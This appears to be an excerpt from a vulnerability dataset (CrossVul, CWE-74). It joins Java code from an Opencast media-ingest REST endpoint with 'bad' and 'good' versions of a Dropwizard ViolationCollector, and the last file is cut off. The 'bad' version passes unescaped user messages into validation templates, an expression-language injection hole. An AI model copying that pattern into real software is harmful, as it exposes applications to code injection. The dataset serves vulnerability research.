@RestParameter(description = "Episode metadata value", isRequired = false, name = "abstract", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "accessRights", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "available", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "contributor", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "coverage", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "created", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "creator", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "date", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "description", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "extent", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "format", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "identifier", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isPartOf", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReferencedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReplacedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "language", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "license", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "publisher", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "relation", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "replaces", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "rights", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "rightsHolder", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "source", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "spatial", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "subject", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "temporal", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "title", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "type", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of series DublinCore Catalog", isRequired = false, name = "seriesDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Series DublinCore Catalog", isRequired = false, name = "seriesDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of a media track file", isRequired = false, name = "mediaUri", type = RestParameter.Type.STRING) },
bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE),
reponses = {
@RestResponse(description = "Ingest successfull. Returns workflow instance as XML", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Ingest failed due to invalid requests.", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "Ingest failed. Something went wrong internally. Please have a look at the log files",
responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) },
returnDescription = "")
public Response addMediaPackage(@Context HttpServletRequest request, @PathParam("wdID") String wdID) {
logger.trace("add mediapackage as multipart-form-data with workflow definition id: {}", wdID);
MediaPackageElementFlavor flavor = null;
try {
MediaPackage mp = ingestService.createMediaPackage();
DublinCoreCatalog dcc = null;
Map<String, String> workflowProperties = new HashMap<>();
int seriesDCCatalogNumber = 0;
int episodeDCCatalogNumber = 0;
boolean hasMedia = false;
if (ServletFileUpload.isMultipartContent(request)) {
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
if (item.isFormField()) {
String fieldName = item.getFieldName();
String value = Streams.asString(item.openStream(), "UTF-8");
logger.trace("form field {}: {}", fieldName, value);
/* Ignore empty fields */
if ("".equals(value)) {
continue;
}
/* “Remember” the flavor for the next media. */
if ("flavor".equals(fieldName)) {
try {
flavor = MediaPackageElementFlavor.parseFlavor(value);
} catch (IllegalArgumentException e) {
String error = String.format("Could not parse flavor '%s'", value);
logger.debug(error, e);
return Response.status(Status.BAD_REQUEST).entity(error).build();
}
/* Fields for DC catalog */
} else if (dcterms.contains(fieldName)) {
if ("identifier".equals(fieldName)) {
/* Use the identifier for the mediapackage */
mp.setIdentifier(new IdImpl(value));
}
EName en = new EName(DublinCore.TERMS_NS_URI, fieldName);
if (dcc == null) {
dcc = dublinCoreService.newInstance();
}
dcc.add(en, value);
/* Episode metadata by URL */
} else if ("episodeDCCatalogUri".equals(fieldName)) {
try {
URI dcurl = new URI(value);
updateMediaPackageID(mp, dcurl);
ingestService.addCatalog(dcurl, MediaPackageElements.EPISODE, mp);
episodeDCCatalogNumber += 1;
} catch (java.net.URISyntaxException e) {
/* Parameter was not a valid URL: Return 400 Bad Request */
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Episode metadata DC catalog (XML) as string */
} else if ("episodeDCCatalog".equals(fieldName)) {
InputStream is = new ByteArrayInputStream(value.getBytes("UTF-8"));
updateMediaPackageID(mp, is);
is.reset();
String fileName = "episode" + episodeDCCatalogNumber + ".xml";
episodeDCCatalogNumber += 1;
ingestService.addCatalog(is, fileName, MediaPackageElements.EPISODE, mp);
/* Series by URL */
} else if ("seriesDCCatalogUri".equals(fieldName)) {
try {
URI dcurl = new URI(value);
ingestService.addCatalog(dcurl, MediaPackageElements.SERIES, mp);
} catch (java.net.URISyntaxException e) {
/* Parameter was not a valid URL: Return 400 Bad Request */
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Series DC catalog (XML) as string */
} else if ("seriesDCCatalog".equals(fieldName)) {
String fileName = "series" + seriesDCCatalogNumber + ".xml";
seriesDCCatalogNumber += 1;
InputStream is = new ByteArrayInputStream(value.getBytes("UTF-8"));
ingestService.addCatalog(is, fileName, MediaPackageElements.SERIES, mp);
/* Add media files by URL */
} else if ("mediaUri".equals(fieldName)) {
if (flavor == null) {
/* A flavor has to be specified in the request prior the media file */
return Response.serverError().status(Status.BAD_REQUEST).build();
}
URI mediaUrl;
try {
mediaUrl = new URI(value);
} catch (java.net.URISyntaxException e) {
/* Parameter was not a valid URL: Return 400 Bad Request */
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.BAD_REQUEST).build();
}
ingestService.addTrack(mediaUrl, flavor, mp);
hasMedia = true;
} else {
/* Tread everything else as workflow properties */
workflowProperties.put(fieldName, value);
}
/* Media files as request parameter */
} else {
if (flavor == null) {
/* A flavor has to be specified in the request prior the video file */
logger.debug("A flavor has to be specified in the request prior to the content BODY");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
ingestService.addTrack(item.openStream(), item.getName(), flavor, mp);
hasMedia = true;
}
}
/* Check if we got any media. Fail if not. */
if (!hasMedia) {
logger.warn("Rejected ingest without actual media.");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Add episode mediapackage if metadata were send separately */
if (dcc != null) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
dcc.toXml(out, true);
InputStream in = new ByteArrayInputStream(out.toByteArray());
ingestService.addCatalog(in, "dublincore.xml", MediaPackageElements.EPISODE, mp);
/* Check if we have metadata for the episode */
} else if (episodeDCCatalogNumber == 0) {
logger.warn("Rejected ingest without episode metadata. At least provide a title.");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
WorkflowInstance workflow = (wdID == null)
? ingestService.ingest(mp)
: ingestService.ingest(mp, wdID, workflowProperties);
return Response.ok(workflow).build();
}
return Response.serverError().status(Status.BAD_REQUEST).build();
} catch (IllegalArgumentException e) {
return Response.status(Status.BAD_REQUEST).entity(e.getMessage()).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
/**
* Try updating the identifier of a mediapackage with the identifier from a episode DublinCore catalog.
*
* @param mp
* MediaPackage to modify
* @param is
* InputStream containing the episode DublinCore catalog
*/
private void updateMediaPackageID(MediaPackage mp, InputStream is) throws IOException {
DublinCoreCatalog dc = DublinCores.read(is);
EName en = new EName(DublinCore.TERMS_NS_URI, "identifier");
String id = dc.getFirst(en);
if (id != null) {
mp.setIdentifier(new IdImpl(id));
}
}
/**
* Try updating the identifier of a mediapackage with the identifier from a episode DublinCore catalog.
*
* @param mp
* MediaPackage to modify
* @param uri
* URI to get the episode DublinCore catalog from
*/
private void updateMediaPackageID(MediaPackage mp, URI uri) throws IOException {
InputStream in = null;
HttpResponse response = null;
try {
if (uri.toString().startsWith("http")) {
HttpGet get = new HttpGet(uri);
response = httpClient.execute(get);
int httpStatusCode = response.getStatusLine().getStatusCode();
if (httpStatusCode != 200) {
throw new IOException(uri + " returns http " + httpStatusCode);
}
in = response.getEntity().getContent();
} else {
in = uri.toURL().openStream();
}
updateMediaPackageID(mp, in);
in.close();
} finally {
IOUtils.closeQuietly(in);
httpClient.close(response);
}
}
@POST
@Path("addZippedMediaPackage/{workflowDefinitionId}")
@Produces(MediaType.TEXT_XML)
@RestQuery(name = "addZippedMediaPackage", description = "Create media package from a compressed file containing a manifest.xml document and all media tracks, metadata catalogs and attachments", pathParameters = { @RestParameter(description = "Workflow definition id", isRequired = true, name = WORKFLOW_DEFINITION_ID_PARAM, type = RestParameter.Type.STRING) }, restParameters = { @RestParameter(description = "The workflow instance ID to associate with this zipped mediapackage", isRequired = false, name = WORKFLOW_INSTANCE_ID_PARAM, type = RestParameter.Type.STRING) }, bodyParameter = @RestParameter(description = "The compressed (application/zip) media package file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_NOT_FOUND),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_SERVICE_UNAVAILABLE) }, returnDescription = "")
public Response addZippedMediaPackage(@Context HttpServletRequest request,
@PathParam("workflowDefinitionId") String wdID, @QueryParam("id") String wiID) {
logger.trace("add zipped media package with workflow definition id: {} and workflow instance id: {}", wdID, wiID);
if (!isIngestLimitEnabled() || getIngestLimit() > 0) {
return ingestZippedMediaPackage(request, wdID, wiID);
} else {
logger.warn("Delaying ingest because we have exceeded the maximum number of ingests this server is setup to do concurrently.");
return Response.status(Status.SERVICE_UNAVAILABLE).build();
}
}
@POST
@Path("addZippedMediaPackage")
@Produces(MediaType.TEXT_XML)
@RestQuery(name = "addZippedMediaPackage", description = "Create media package from a compressed file containing a manifest.xml document and all media tracks, metadata catalogs and attachments", restParameters = {
@RestParameter(description = "The workflow definition ID to run on this mediapackage. "
+ "This parameter has to be set in the request prior to the zipped mediapackage "
+ "(This parameter is deprecated. Please use /addZippedMediaPackage/{workflowDefinitionId} instead)", isRequired = false, name = WORKFLOW_DEFINITION_ID_PARAM, type = RestParameter.Type.STRING),
@RestParameter(description = "The workflow instance ID to associate with this zipped mediapackage. "
+ "This parameter has to be set in the request prior to the zipped mediapackage "
+ "(This parameter is deprecated. Please use /addZippedMediaPackage/{workflowDefinitionId} with a path parameter instead)", isRequired = false, name = WORKFLOW_INSTANCE_ID_PARAM, type = RestParameter.Type.STRING) }, bodyParameter = @RestParameter(description = "The compressed (application/zip) media package file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_NOT_FOUND),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_SERVICE_UNAVAILABLE) }, returnDescription = "")
public Response addZippedMediaPackage(@Context HttpServletRequest request) {
logger.trace("add zipped media package");
if (!isIngestLimitEnabled() || getIngestLimit() > 0) {
return ingestZippedMediaPackage(request, null, null);
} else {
logger.warn("Delaying ingest because we have exceeded the maximum number of ingests this server is setup to do concurrently.");
return Response.status(Status.SERVICE_UNAVAILABLE).build();
}
}
private Response ingestZippedMediaPackage(HttpServletRequest request, String wdID, String wiID) {
if (isIngestLimitEnabled()) {
setIngestLimit(getIngestLimit() - 1);
logger.debug("An ingest has started so remaining ingest limit is " + getIngestLimit());
}
InputStream in = null;
Date started = new Date();
logger.info("Received new request from {} to ingest a zipped mediapackage", request.getRemoteHost());
try {
String workflowDefinitionId = wdID;
String workflowIdAsString = wiID;
Long workflowInstanceIdAsLong = null;
Map<String, String> workflowConfig = new HashMap<>();
if (ServletFileUpload.isMultipartContent(request)) {
boolean isDone = false;
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
if (item.isFormField()) {
String fieldName = item.getFieldName();
String value = Streams.asString(item.openStream(), "UTF-8");
logger.trace("{}: {}", fieldName, value);
if (WORKFLOW_INSTANCE_ID_PARAM.equals(fieldName)) {
workflowIdAsString = value;
continue;
} else if (WORKFLOW_DEFINITION_ID_PARAM.equals(fieldName)) {
workflowDefinitionId = value;
continue;
} else {
logger.debug("Processing form field: " + fieldName);
workflowConfig.put(fieldName, value);
}
} else {
logger.debug("Processing file item");
// once the body gets read iter.hasNext must not be invoked or the stream can not be read
// MH-9579
in = item.openStream();
isDone = true;
}
if (isDone)
break;
}
} else {
logger.debug("Processing file item");
in = request.getInputStream();
}
// Adding ingest start time to workflow configuration
DateFormat formatter = new SimpleDateFormat(IngestService.UTC_DATE_FORMAT);
workflowConfig.put(IngestService.START_DATE_KEY, formatter.format(started));
/* Legacy support: Try to convert the workflowId to integer */
if (!StringUtils.isBlank(workflowIdAsString)) {
try {
workflowInstanceIdAsLong = Long.parseLong(workflowIdAsString);
} catch (NumberFormatException e) {
// The workflowId is not a long value and might be the media package identifier
workflowConfig.put(IngestServiceImpl.LEGACY_MEDIAPACKAGE_ID_KEY, workflowIdAsString);
}
}
if (StringUtils.isBlank(workflowDefinitionId)) {
workflowDefinitionId = defaultWorkflowDefinitionId;
}
WorkflowInstance workflow;
if (workflowInstanceIdAsLong != null) {
workflow = ingestService.addZippedMediaPackage(in, workflowDefinitionId, workflowConfig,
workflowInstanceIdAsLong);
} else {
workflow = ingestService.addZippedMediaPackage(in, workflowDefinitionId, workflowConfig);
}
return Response.ok(WorkflowParser.toXml(workflow)).build();
} catch (NotFoundException e) {
logger.info(e.getMessage());
return Response.status(Status.NOT_FOUND).build();
} catch (MediaPackageException e) {
logger.warn(e.getMessage());
return Response.serverError().status(Status.BAD_REQUEST).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
} finally {
IOUtils.closeQuietly(in);
if (isIngestLimitEnabled()) {
setIngestLimit(getIngestLimit() + 1);
logger.debug("An ingest has finished so increased ingest limit to " + getIngestLimit());
}
}
}
@POST
@Produces(MediaType.TEXT_HTML)
@Path("ingest/{wdID}")
@RestQuery(name = "ingest", description = "Ingest the completed media package into the system, retrieving all URL-referenced files, and starting a specified workflow",
pathParameters = {
@RestParameter(description = "Workflow definition id", isRequired = true, name = "wdID", type = RestParameter.Type.STRING) },
restParameters = {
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
reponses = {
@RestResponse(description = "Returns the media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response ingest(@Context HttpServletRequest request, @PathParam("wdID") String wdID) {
logger.trace("ingest media package with workflow definition id: {}", wdID);
if (StringUtils.isBlank(wdID)) {
return Response.status(Response.Status.BAD_REQUEST).build();
}
return ingest(wdID, request);
}
@POST
@Produces(MediaType.TEXT_HTML)
@Path("ingest")
@RestQuery(name = "ingest", description = "Ingest the completed media package into the system, retrieving all URL-referenced files",
restParameters = {
@RestParameter(description = "The media package", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT),
@RestParameter(description = "Workflow definition id", isRequired = false, name = WORKFLOW_DEFINITION_ID_PARAM, type = RestParameter.Type.STRING),
@RestParameter(description = "The workflow instance ID to associate with this zipped mediapackage", isRequired = false, name = WORKFLOW_INSTANCE_ID_PARAM, type = RestParameter.Type.STRING) },
reponses = {
@RestResponse(description = "Returns the media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response ingest(@Context HttpServletRequest request) {
return ingest(null, request);
}
private Map<String, String> getWorkflowConfig(MultivaluedMap<String, String> formData) {
Map<String, String> wfConfig = new HashMap<>();
for (String key : formData.keySet()) {
if (!"mediaPackage".equals(key)) {
wfConfig.put(key, formData.getFirst(key));
}
}
return wfConfig;
}
private Response ingest(final String wdID, final HttpServletRequest request) {
/* Note: We use a MultivaluedMap here to ensure that we can get any arbitrary form parameters. This is required to
* enable things like holding for trim or distributing to YouTube. */
final MultivaluedMap<String, String> formData = new MultivaluedHashMap<>();
if (ServletFileUpload.isMultipartContent(request)) {
// parse form fields
try {
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
if (item.isFormField()) {
final String value = Streams.asString(item.openStream(), "UTF-8");
formData.putSingle(item.getFieldName(), value);
}
}
} catch (FileUploadException | IOException e) {
return Response.status(Response.Status.BAD_REQUEST).build();
}
} else {
request.getParameterMap().forEach((key, value) -> formData.put(key, Arrays.asList(value)));
}
final Map<String, String> wfConfig = getWorkflowConfig(formData);
if (StringUtils.isNotBlank(wdID))
wfConfig.put(WORKFLOW_DEFINITION_ID_PARAM, wdID);
final MediaPackage mp;
try {
mp = factory.newMediaPackageBuilder().loadFromXml(formData.getFirst("mediaPackage"));
if (MediaPackageSupport.sanityCheck(mp).isSome()) {
logger.warn("Rejected ingest with invalid mediapackage {}", mp);
return Response.status(Status.BAD_REQUEST).build();
}
} catch (Exception e) {
logger.warn("Rejected ingest without mediapackage");
return Response.status(Status.BAD_REQUEST).build();
}
final String workflowInstance = wfConfig.get(WORKFLOW_INSTANCE_ID_PARAM);
final String workflowDefinition = wfConfig.get(WORKFLOW_DEFINITION_ID_PARAM);
// Adding ingest start time to workflow configuration
wfConfig.put(IngestService.START_DATE_KEY, formatter.format(startCache.asMap().get(mp.getIdentifier().toString())));
final X<WorkflowInstance> ingest = new X<WorkflowInstance>() {
@Override
public WorkflowInstance xapply() throws Exception {
/* Legacy support: Try to convert the workflowInstance to integer */
Long workflowInstanceId = null;
if (StringUtils.isNotBlank(workflowInstance)) {
try {
workflowInstanceId = Long.parseLong(workflowInstance);
} catch (NumberFormatException e) {
// The workflowId is not a long value and might be the media package identifier
wfConfig.put(IngestServiceImpl.LEGACY_MEDIAPACKAGE_ID_KEY, workflowInstance);
}
}
if (workflowInstanceId != null) {
return ingestService.ingest(mp, trimToNull(workflowDefinition), wfConfig, workflowInstanceId);
} else {
return ingestService.ingest(mp, trimToNull(workflowDefinition), wfConfig);
}
}
};
try {
WorkflowInstance workflow = ingest.apply();
startCache.asMap().remove(mp.getIdentifier().toString());
return Response.ok(WorkflowParser.toXml(workflow)).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Path("schedule")
@RestQuery(name = "schedule", description = "Schedule an event based on the given media package",
restParameters = {
@RestParameter(description = "The media package", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
reponses = {
@RestResponse(description = "Event scheduled", responseCode = HttpServletResponse.SC_CREATED),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response schedule(MultivaluedMap<String, String> formData) {
logger.trace("pass schedule with default workflow definition id {}", defaultWorkflowDefinitionId);
return this.schedule(defaultWorkflowDefinitionId, formData);
}
@POST
@Path("schedule/{wdID}")
@RestQuery(name = "schedule", description = "Schedule an event based on the given media package",
pathParameters = {
@RestParameter(description = "Workflow definition id", isRequired = true, name = "wdID", type = RestParameter.Type.STRING) },
restParameters = {
@RestParameter(description = "The media package", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
reponses = {
@RestResponse(description = "Event scheduled", responseCode = HttpServletResponse.SC_CREATED),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST) },
returnDescription = "")
public Response schedule(@PathParam("wdID") String wdID, MultivaluedMap<String, String> formData) {
if (StringUtils.isBlank(wdID)) {
logger.trace("workflow definition id is not specified");
return Response.status(Response.Status.BAD_REQUEST).build();
}
Map<String, String> wfConfig = getWorkflowConfig(formData);
if (StringUtils.isNotBlank(wdID)) {
wfConfig.put(CaptureParameters.INGEST_WORKFLOW_DEFINITION, wdID);
}
logger.debug("Schedule with workflow definition '{}'", wfConfig.get(WORKFLOW_DEFINITION_ID_PARAM));
String mediaPackageXml = formData.getFirst("mediaPackage");
if (StringUtils.isBlank(mediaPackageXml)) {
logger.debug("Rejected schedule without media package");
return Response.status(Status.BAD_REQUEST).build();
}
MediaPackage mp = null;
try {
mp = factory.newMediaPackageBuilder().loadFromXml(mediaPackageXml);
if (MediaPackageSupport.sanityCheck(mp).isSome()) {
throw new MediaPackageException("Insane media package");
}
} catch (MediaPackageException e) {
logger.debug("Rejected ingest with invalid media package {}", mp);
return Response.status(Status.BAD_REQUEST).build();
}
MediaPackageElement[] mediaPackageElements = mp.getElementsByFlavor(MediaPackageElements.EPISODE);
if (mediaPackageElements.length != 1) {
logger.debug("There can be only one (and exactly one) episode dublin core catalog: https://youtu.be/_J3VeogFUOs");
return Response.status(Status.BAD_REQUEST).build();
}
try {
ingestService.schedule(mp, wdID, wfConfig);
return Response.status(Status.CREATED).build();
} catch (IngestException e) {
return Response.status(Status.BAD_REQUEST).entity(e.getMessage()).build();
} catch (SchedulerConflictException e) {
return Response.status(Status.CONFLICT).entity(e.getMessage()).build();
} catch (NotFoundException | UnauthorizedException | SchedulerException e) {
return Response.serverError().build();
}
}
/**
* Adds a dublinCore metadata catalog to the MediaPackage and returns the grown mediaPackage. JQuery Ajax functions
* doesn't support multipart/form-data encoding.
*
* @param mp
* MediaPackage
* @param dc
* DublinCoreCatalog
* @return grown MediaPackage XML
*/
@POST
@Produces(MediaType.TEXT_XML)
@Path("addDCCatalog")
@RestQuery(name = "addDCCatalog", description = "Add a dublincore episode catalog to a given media package using an url", restParameters = {
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT),
@RestParameter(description = "DublinCore catalog as XML", isRequired = true, name = "dublinCore", type = RestParameter.Type.TEXT),
@RestParameter(defaultValue = "dublincore/episode", description = "DublinCore Flavor", isRequired = false, name = "flavor", type = RestParameter.Type.STRING) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addDCCatalog(@FormParam("mediaPackage") String mp, @FormParam("dublinCore") String dc,
@FormParam("flavor") String flavor) {
logger.trace("add DC catalog: {} with flavor: {} to media package: {}", dc, flavor, mp);
MediaPackageElementFlavor dcFlavor = MediaPackageElements.EPISODE;
if (flavor != null) {
try {
dcFlavor = MediaPackageElementFlavor.parseFlavor(flavor);
} catch (IllegalArgumentException e) {
logger.warn("Unable to set dublin core flavor to {}, using {} instead", flavor, MediaPackageElements.EPISODE);
}
}
MediaPackage mediaPackage;
/* Check if we got a proper mediapackage and try to parse it */
try {
mediaPackage = MediaPackageBuilderFactory.newInstance().newMediaPackageBuilder().loadFromXml(mp);
} catch (MediaPackageException e) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
if (MediaPackageSupport.sanityCheck(mediaPackage).isSome()) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
/* Check if we got a proper catalog */
if (StringUtils.isBlank(dc)) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
InputStream in = null;
try {
in = IOUtils.toInputStream(dc, "UTF-8");
mediaPackage = ingestService.addCatalog(in, "dublincore.xml", dcFlavor, mediaPackage);
} catch (MediaPackageException e) {
return Response.serverError().status(Status.BAD_REQUEST).build();
} catch (IOException e) {
/* Return an internal server error if we could not write to disk */
logger.error("Could not write catalog to disk: {}", e.getMessage());
return Response.serverError().build();
} catch (Exception e) {
logger.error(e.getMessage());
return Response.serverError().build();
} finally {
IOUtils.closeQuietly(in);
}
return Response.ok(mediaPackage).build();
}
@Override
public JobProducer getService() {
return ingestService;
}
@Override
public ServiceRegistry getServiceRegistry() {
return serviceRegistry;
}
/**
* OSGi Declarative Services callback to set the reference to the ingest service.
*
* @param ingestService
* the ingest service
*/
void setIngestService(IngestService ingestService) {
this.ingestService = ingestService;
}
/**
* OSGi Declarative Services callback to set the reference to the service registry.
*
* @param serviceRegistry
* the service registry
*/
void setServiceRegistry(ServiceRegistry serviceRegistry) {
this.serviceRegistry = serviceRegistry;
}
/**
* OSGi Declarative Services callback to set the reference to the dublin core service.
*
* @param dcService
* the dublin core service
*/
void setDublinCoreService(DublinCoreCatalogService dcService) {
this.dublinCoreService = dcService;
}
/**
* Sets the trusted http client
*
* @param httpClient
* the http client
*/
public void setHttpClient(TrustedHttpClient httpClient) {
this.httpClient = httpClient;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4533_2
|
crossvul-java_data_bad_4548_0
|
package io.dropwizard.validation.selfvalidating;
import javax.validation.ConstraintValidatorContext;
/**
* This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation.
* It collects all the violations of the SelfValidation methods of an object.
*/
public class ViolationCollector {
private boolean violationOccurred = false;
private ConstraintValidatorContext context;
public ViolationCollector(ConstraintValidatorContext context) {
this.context = context;
}
/**
* Adds a new violation to this collector. This also sets violationOccurred to true.
*
* @param msg the message of the violation
*/
public void addViolation(String msg) {
violationOccurred = true;
context.buildConstraintViolationWithTemplate(msg)
.addConstraintViolation();
}
/**
* This method returns the wrapped context for raw access to the validation framework. If you use
* the context to add violations make sure to call <code>setViolationOccurred(true)</code>.
*
* @return the wrapped Hibernate ConstraintValidatorContext
*/
public ConstraintValidatorContext getContext() {
return context;
}
/**
* @return if any violation was collected
*/
public boolean hasViolationOccurred() {
return violationOccurred;
}
/**
* Manually sets if a violation occurred. This is automatically set if <code>addViolation</code> is called.
*
* @param violationOccurred if any violation was collected
*/
public void setViolationOccurred(boolean violationOccurred) {
this.violationOccurred = violationOccurred;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4548_0
|
crossvul-java_data_good_4548_0
|
package io.dropwizard.validation.selfvalidating;
import javax.annotation.Nullable;
import javax.validation.ConstraintValidatorContext;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation.
* It collects all the violations of the SelfValidation methods of an object.
*/
public class ViolationCollector {
private static final Pattern ESCAPE_PATTERN = Pattern.compile("\\$\\{");
private boolean violationOccurred = false;
private ConstraintValidatorContext context;
public ViolationCollector(ConstraintValidatorContext context) {
this.context = context;
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param message the message of the violation (any EL expression will be escaped and not parsed)
*/
public void addViolation(String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property
* @param message the message of the violation (any EL expression will be escaped and not parsed)
* @since 2.0.2
*/
public void addViolation(String propertyName, String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addPropertyNode(propertyName)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property with the violation
* @param index the index of the element with the violation
* @param message the message of the violation (any EL expression will be escaped and not parsed)
* @since 2.0.2
*/
public void addViolation(String propertyName, Integer index, String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addPropertyNode(propertyName)
.addBeanNode().inIterable().atIndex(index)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property with the violation
* @param key the key of the element with the violation
* @param message the message of the violation (any EL expression will be escaped and not parsed)
* @since 2.0.2
*/
public void addViolation(String propertyName, String key, String message) {
violationOccurred = true;
String messageTemplate = escapeEl(message);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addPropertyNode(propertyName)
.addBeanNode().inIterable().atKey(key)
.addConstraintViolation();
}
@Nullable
private String escapeEl(@Nullable String s) {
if (s == null || s.isEmpty()) {
return s;
}
final Matcher m = ESCAPE_PATTERN.matcher(s);
final StringBuffer sb = new StringBuffer(s.length() + 16);
while (m.find()) {
m.appendReplacement(sb, "\\\\\\${");
}
